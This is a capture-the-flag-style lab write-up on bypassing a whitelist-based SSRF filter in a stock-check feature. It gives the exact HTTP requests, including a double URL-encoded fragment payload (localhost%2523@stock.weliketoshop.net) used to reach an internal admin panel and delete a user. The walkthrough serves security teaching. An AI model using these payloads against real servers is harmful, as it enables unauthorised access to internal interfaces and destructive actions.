SSRF with whitelist based input filter

Description

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Approach

Upon gaining access to the lab, I immediately focused on exploring the "stock check" functionality to understand its mechanics. As expected, this feature initiated a POST request to /product/stock, with a crucial parameter named stockApi, intended to fetch data from an external URL.

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://localhost

However, my attempt to redirect it to localhost was met with a "400 Bad Request" error, indicating that the external stock check host must be stock.weliketoshop.net. i do get this error

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58

"External stock check host must be stock.weliketoshop.net"

Determined to bypass this filter, I experimented with various techniques in the request. Initially, I attempted to embed credentials directly into the URL using the format http://USERNAME@HOSTNAME, leading to a Could not connect to external stock check service response.

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://ichyaboy@stock.weliketoshop.net
Could not connect to external stock check service

It did get through, so now I will attempt to use the # character to indicate a URL fragment. Anything following the # is considered an element on that page, with the hostname preceding it. The URL format is as follows:

http://Hostname#element

so this trick is going to indicate that what comes after it is an element which is in our case the @stock.weliketoshop.net (we need the @ there because it is the reason that it is letting us write something gets accepted before the acquired hostname).

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://ichyaboy#@stock.weliketoshop.net

response:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58

"External stock check host must be stock.weliketoshop.net"

This error suggests that the # isn't being processed, so I attempted to URL-encode it, but without success. However, when I double URL-encoded it, everything worked smoothly

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://ichyaboy%2523@stock.weliketoshop.net

However, I encountered another error, which was logical because at this stage, the system attempted to reach 'ichyaboy' as if it were a hostname, resulting in an error due to its nonexistence. Therefore, I adjusted it to 'localhost', which granted me access.

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://localhost%2523@stock.weliketoshop.net

Now, I need to access the admin panel and delete the user 'Carlos'. To achieve this, all I need to do is send the following request:

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 
...

stockApi=http://localhost%2523@stock.weliketoshop.net/admin

It might appear perplexing to some of you why /admin is positioned at the end of the URL rather than directly following localhost. The trick lies in the fact that, as mentioned earlier, anything after the # symbol is interpreted as an element until it encounters a /, which is then analyzed as a path. Consequently, the server accesses that designated path.

Let me break it for you:

http://Hostname#Element/Path

http://localhost#@stock.weliketoshop.net/admin

after double URL encode of #

http://localhost%2523@stock.weliketoshop.net/admin

Now, all that remains is to delete the user 'Carlos', and the pathway to do so becomes evident from the response when accessing the admin panel, which contains <a href="/admin/delete?username=carlos">

So, sending a GET request to /admin/delete?username=carlos will initiate the deletion process. Therefore, my request appears as follows:

POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...

stockApi=http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos

This request successfully deleted the "Carlos" user, thereby resolving the lab.